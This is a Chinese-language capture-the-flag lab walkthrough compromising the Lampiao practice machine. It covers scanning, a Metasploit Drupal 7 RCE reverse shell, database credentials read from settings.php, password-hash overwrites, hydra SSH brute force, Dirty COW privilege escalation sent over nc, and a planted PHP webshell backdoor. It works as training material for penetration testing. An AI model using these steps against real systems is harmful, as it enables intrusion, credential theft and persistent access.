目录
一、实验环境
二、实验流程
三、实验步骤
(一)信息收集——主机发现
1.查看kali的网卡和IP信息;(网卡名:eht0;IP:192.168.97.129)
2.查看靶机页面;
3.探测特定网络内的,主机存活状态(netdiscover、arp-scan、nmap)
4.分析所得:
(二)信息收集——端口(服务)扫描
1.扫描端口,以及端口对应的服务信息,以及靶机的操作系统信息
2.分析所得:
(三)渗透测试——80端口(无服务)
1.火狐浏览器,访问主页:http://192.168.97.148
(四)渗透测试——1898端口(http服务)
1.对靶机网站进行目录遍历;
2.在扫描的同时,火狐访问主页http://192.168.97.148:1898
3.尝试访问,robots.txt文件;
4.逐个访问以上扫描出来的以及robots.txt的页面;
5.分析所得:
(五)渗透测试——kali的msf利用drupal的rce漏洞反弹shell
1.进入msf,利用漏洞;
2.从哑shell转换为交互式的完整的shell;(一问一答式的shell)
(六)渗透测试——利用反弹后的shell,进行再一次的信息收集,从而进行本地提权
1.致命连问;
2.分析所得:
3.通过hydra破解ssh服务
4.再次分析:
5.通过mysql数据库,修改tiago、Eder、ADMIN的密码
6.根据以上的提示,用户tiago的密码已经修改为123,我们尝试ssh登录
7.分析所得:
8.后台页面http://192.168.97.148:1898,登录tiago、Eder、ADMIN
(七)渗透测试——尝试脏牛提权(40847.cpp)
1.40847.cpp
(八)渗透测试——清楚痕迹,留下后门,菜刀尝试连接
1.留下1.php
四、总结
1.脏牛提权40847.cpp
2.编译:(转载的编译参数解析)
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o dcow gcc生成的目标文件,名字为40847
3.执行exp:./40847
执行后的root密码为dirtyCowFun
一、实验环境
- 靶机:Lampiao,IP地址:192.168.97.148
- 测试机:kali,IP地址:192.168.97.129
- 测试机:物理机Win0
- 连接方式:NAT
二、实验流程
- 信息收集——主机发现阶段
- 信息收集——端口(服务)扫描阶段
- 渗透测试——80、1898端口
- 渗透测试——msf利用drupal7的rce漏洞,反弹shell
- 渗透测试——22端口
- 渗透测试——脏牛提权
- 删除痕迹,留下后门
三、实验步骤
(一)信息收集——主机发现
1.查看kali的网卡和IP信息;(网卡名:eht0;IP:192.168.97.129)
![3.100个渗透测试实战#3(Lampiao)_第1张图片](http://img.e-com-net.com/image/info8/d8791203a99e4d0d94518e4219726744.jpg)
2.查看靶机页面;
![3.100个渗透测试实战#3(Lampiao)_第2张图片](http://img.e-com-net.com/image/info8/e6ec1416481049d8b5a5ab630eeca082.jpg)
3.探测特定网络内的,主机存活状态(netdiscover、arp-scan、nmap)
- netdiscover -i eth0 -r 192.168.97.0/24
-i 指定网卡
-r 指定网段
![3.100个渗透测试实战#3(Lampiao)_第3张图片](http://img.e-com-net.com/image/info8/e0f26067c8c84f64bd507b9a8e8b58fd.jpg)
--localnet or -l 指定扫描本地网络
![3.100个渗透测试实战#3(Lampiao)_第4张图片](http://img.e-com-net.com/image/info8/7a5eb00012124e77b1a7267e94bf1ac3.jpg)
-sP ping扫描且不进行端口扫描
![3.100个渗透测试实战#3(Lampiao)_第5张图片](http://img.e-com-net.com/image/info8/5ded92428868439687470135f3f8f3ac.jpg)
4.分析所得:
- 靶机所在网段为:C段,192.168.97.0/24
- 靶机IP为:192.168.97.148
(二)信息收集——端口(服务)扫描
1.扫描端口,以及端口对应的服务信息,以及靶机的操作系统信息
- nmap -p- -sV -O -A 192.168.97.148
-p- 扫描全端口
-sV 扫描端口对应的服务
-O 扫描靶机的系统版本
-A 扫描靶机的系统版本
![3.100个渗透测试实战#3(Lampiao)_第6张图片](http://img.e-com-net.com/image/info8/6f5b62c8fffe4b349dd6c57714e188fc.jpg)
![3.100个渗透测试实战#3(Lampiao)_第7张图片](http://img.e-com-net.com/image/info8/d5f4aa64faae47ebaf8dae03f8180390.jpg)
![3.100个渗透测试实战#3(Lampiao)_第8张图片](http://img.e-com-net.com/image/info8/36f156fae4fe46e9ab3ca66e7e862cbb.jpg)
2.分析所得:
(三)渗透测试——80端口(无服务)
1.火狐浏览器,访问主页:http://192.168.97.148
f12查看元素信息,或者查看源码,发现没有任何的可用信息
![3.100个渗透测试实战#3(Lampiao)_第9张图片](http://img.e-com-net.com/image/info8/ba722692382e4335b69c604d2d8f1acf.jpg)
(四)渗透测试——1898端口(http服务)
1.对靶机网站进行目录遍历;
- dirb http://192.168.97.148:1898 /usr/share/dirb/wordlists/big.txt
如下图所示,扫描到了10个目录,2个文件
![3.100个渗透测试实战#3(Lampiao)_第10张图片](http://img.e-com-net.com/image/info8/e8631b5e6d46469790b15b97c680e2a8.jpg)
![3.100个渗透测试实战#3(Lampiao)_第11张图片](http://img.e-com-net.com/image/info8/88b2e4bde8834d15931760f5c9c910ec.png)
2.在扫描的同时,火狐访问主页http://192.168.97.148:1898
- 主页信息如下,f12查看信息以及查看源码,没有发现有用的信息
![3.100个渗透测试实战#3(Lampiao)_第12张图片](http://img.e-com-net.com/image/info8/f72733f3317e478dae5b941abf093a97.jpg)
- 使用Web指纹识别插件Wapplyzer,识别到该网站的CMS为drupal 7
![3.100个渗透测试实战#3(Lampiao)_第13张图片](http://img.e-com-net.com/image/info8/068f2aeeb1da4a08aa5476297899e14c.jpg)
3.尝试访问,robots.txt文件;
- 浏览器访问:http://192.168.97.148:1898/robots.txt
![3.100个渗透测试实战#3(Lampiao)_第14张图片](http://img.e-com-net.com/image/info8/50f19fcef90c4c6ba9e443e0a17ad167.jpg)
4.逐个访问以上扫描出来的以及robots.txt的页面;
- 访问结果:都是一些drupal站点的配置文件等等,可以确定这个是Drupal搭建的网站
5.分析所得:
- 获得了一个drupal网站的后台登录页面;
- 该drupal的版本为7,可能存在着免身份认证的RCE漏洞;
- 该drupal搭建的网站,经过浏览器的页面测试,发现了hash加密脚本,以及存在着settings.php配置文件,可以通过该方法,获取后台登录用户名,并且修改后台登录密码;
(五)渗透测试——kali的msf利用drupal的rce漏洞反弹shell
1.进入msf,利用漏洞;
![3.100个渗透测试实战#3(Lampiao)_第15张图片](http://img.e-com-net.com/image/info8/dcae61e8155a473199e1d1781b6584ff.jpg)
2.从哑shell转换为交互式的完整的shell;(一问一答式的shell)
- python -c 'import pty;pty.spawn("/bin/bash")'
![3.100个渗透测试实战#3(Lampiao)_第16张图片](http://img.e-com-net.com/image/info8/c8cfbe077b6b40aa9ce18cc75d2564cd.png)
(六)渗透测试——利用反弹后的shell,进行再一次的信息收集,从而进行本地提权
1.致命连问;
![](http://img.e-com-net.com/image/info8/3f9ef7f29ff04872b1f90082cfef2704.png)
![](http://img.e-com-net.com/image/info8/affc6778965344a4bb9255bb205d7ac5.png)
![](http://img.e-com-net.com/image/info8/f51bf7f0a33348f1b4f5276bd3963bfc.png)
如下图所示,我们发现了2个音频,1张图片
![3.100个渗透测试实战#3(Lampiao)_第17张图片](http://img.e-com-net.com/image/info8/1ed5c23bb42e42788b868f92d2801039.jpg)
发现了其中一个音频提示,user tiago
另外发现一张二维码,使用CQR扫描得到一段鼓励:Try harder! muahuahua
![3.100个渗透测试实战#3(Lampiao)_第18张图片](http://img.e-com-net.com/image/info8/eece382adb9041678f62369c402af428.jpg)
![3.100个渗透测试实战#3(Lampiao)_第19张图片](http://img.e-com-net.com/image/info8/bade5c7b875947f59a6124095a4eb4fe.png)
发现该tiago用户下的内容为空
2.分析所得:
- 提示一个用户tiago,但是家目录下无任何可用信息
- 注意,还有一个22端口的ssh,没有用到
3.通过hydra破解ssh服务
![3.100个渗透测试实战#3(Lampiao)_第20张图片](http://img.e-com-net.com/image/info8/ae01decc12ef4a86a72c05ae8c6fe3ae.jpg)
4.再次分析:
- 以上页面访问的时候,得到结果存在settings.php配置文件存放着数据库的连接信息
- 我们可以进入数据库,查看有哪些用户
5.通过mysql数据库,修改tiago、Eder、ADMIN的密码
- 通过find查找settings.php配置文件的位置
注意:默认的settings.php存放位置为/var/www/html/sites/default/settings.php
![](http://img.e-com-net.com/image/info8/73b1b247c8894f7fa1fe9c892db2482b.png)
- cat /var/www/html/sites/default/settings.php
发现了数据库为mysql,数据库名为drupal,数据库连接信息:drupaluser Virgulino
![3.100个渗透测试实战#3(Lampiao)_第21张图片](http://img.e-com-net.com/image/info8/cd82a4b444e8400c8de7295ab2afcc07.jpg)
- netstat -pantu查看进程,发现了3306端口,说明MySQL数据库是在运行着的
![3.100个渗透测试实战#3(Lampiao)_第22张图片](http://img.e-com-net.com/image/info8/cba4a6d1fed04aa18975d1218320402f.jpg)
- mysql -udrupaluser -pVirgulino
![3.100个渗透测试实战#3(Lampiao)_第23张图片](http://img.e-com-net.com/image/info8/8f371759013f47f19c3682c8d5c76e3d.jpg)
![3.100个渗透测试实战#3(Lampiao)_第24张图片](http://img.e-com-net.com/image/info8/89d5b7f739e94bb2a75ff0185b8917ba.jpg)
![3.100个渗透测试实战#3(Lampiao)_第25张图片](http://img.e-com-net.com/image/info8/9b966f9880ff4f82921cbf2d25396ed2.png)
![3.100个渗透测试实战#3(Lampiao)_第26张图片](http://img.e-com-net.com/image/info8/cc1faeb8e14b432fb2475c4cd3e7c614.png)
![3.100个渗透测试实战#3(Lampiao)_第27张图片](http://img.e-com-net.com/image/info8/e4f060907ef7470fa7369f57ff13b8df.jpg)
![3.100个渗透测试实战#3(Lampiao)_第28张图片](http://img.e-com-net.com/image/info8/63f06c09933743de809474ae3eb86407.jpg)
- select uid,name,pass from users;
发现了用户tiago存储着hash加密的密码
![3.100个渗透测试实战#3(Lampiao)_第29张图片](http://img.e-com-net.com/image/info8/5fb20bb2de4942fa959356717e872df5.jpg)
该脚本式用来加密的,以便于存储于MySQL数据库中,默认的目录在/var/www/html/scripts/password-hash.sh
![](http://img.e-com-net.com/image/info8/e78174f4d4324b049bb903542591195a.png)
- 利用脚本,把123进行hash加密: php scripts/password-hash.sh 123
![](http://img.e-com-net.com/image/info8/aeb0ad73b79d48f5b67ac31a54dbc0f1.jpg)
![3.100个渗透测试实战#3(Lampiao)_第30张图片](http://img.e-com-net.com/image/info8/89acf159c8424e19a92069d70b73eec9.jpg)
![3.100个渗透测试实战#3(Lampiao)_第31张图片](http://img.e-com-net.com/image/info8/8bc194922ed5459c8d767de71a124940.jpg)
6.根据以上的提示,用户tiago的密码已经修改为123,我们尝试ssh登录
![3.100个渗透测试实战#3(Lampiao)_第32张图片](http://img.e-com-net.com/image/info8/05f8ec87451c47e1a4df38e7a4b8cea3.jpg)
7.分析所得:
- 得到一个用户tiago,但是ssh登陆后,无可用的信息
- 还有后台登录没有用到
8.后台页面http://192.168.97.148:1898,登录tiago、Eder、ADMIN
(七)渗透测试——尝试脏牛提权(40847.cpp)
1.40847.cpp
- searchsploit dirty cow pri esc
查找脏牛提权的exp
![3.100个渗透测试实战#3(Lampiao)_第33张图片](http://img.e-com-net.com/image/info8/d4302899f6674a48b6caded452c71092.jpg)
- searchsploit -m 40847.cpp
-m 复制到当前目录下
![](http://img.e-com-net.com/image/info8/0abaecdefabb45ed8d36c58c8edaa566.jpg)
kali通过nc把该exp传输到tiago
![](http://img.e-com-net.com/image/info8/6f64667c09f84daf99b367f71a60182a.jpg)
- nc -nv 192.168.97.129 8443 > 40847.cpp
tiago通过nc接收该40847exp
![](http://img.e-com-net.com/image/info8/dd7f706aec5c4c1289b80bdd0984b6d7.jpg)
- 编译40847.cpp:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
![](http://img.e-com-net.com/image/info8/f439a45462494216a8ce2d96d589f027.jpg)
运行该exp,运行后root的密码修改为:dirtyCowFun
密码dirtyCowFun
![3.100个渗透测试实战#3(Lampiao)_第34张图片](http://img.e-com-net.com/image/info8/570f0e15646d480eacf8e7dec37ab7e7.png)
- cd /root 切换到root的家目录
- ls
- cat flag.txt
成功获取到flag.txt
![3.100个渗透测试实战#3(Lampiao)_第35张图片](http://img.e-com-net.com/image/info8/36fd3bbd59ca4db0a3b4664833d5baeb.png)
(八)渗透测试——清楚痕迹,留下后门,菜刀尝试连接
1.留下1.php
![3.100个渗透测试实战#3(Lampiao)_第36张图片](http://img.e-com-net.com/image/info8/79795bead3414d658738c09ec20f0d29.jpg)
![3.100个渗透测试实战#3(Lampiao)_第37张图片](http://img.e-com-net.com/image/info8/2bf353c5131644df814a3fd709ceaa90.jpg)
四、总结
1.脏牛提权40847.cpp
2.编译:(转载的编译参数解析)
-
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
-
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-
-std=c++11就是用按C++2011标准来编译的
-
-pthread 在Linux中要用到多线程时,需要链接pthread库
-
-o dcow gcc生成的目标文件,名字为40847
3.执行exp:./40847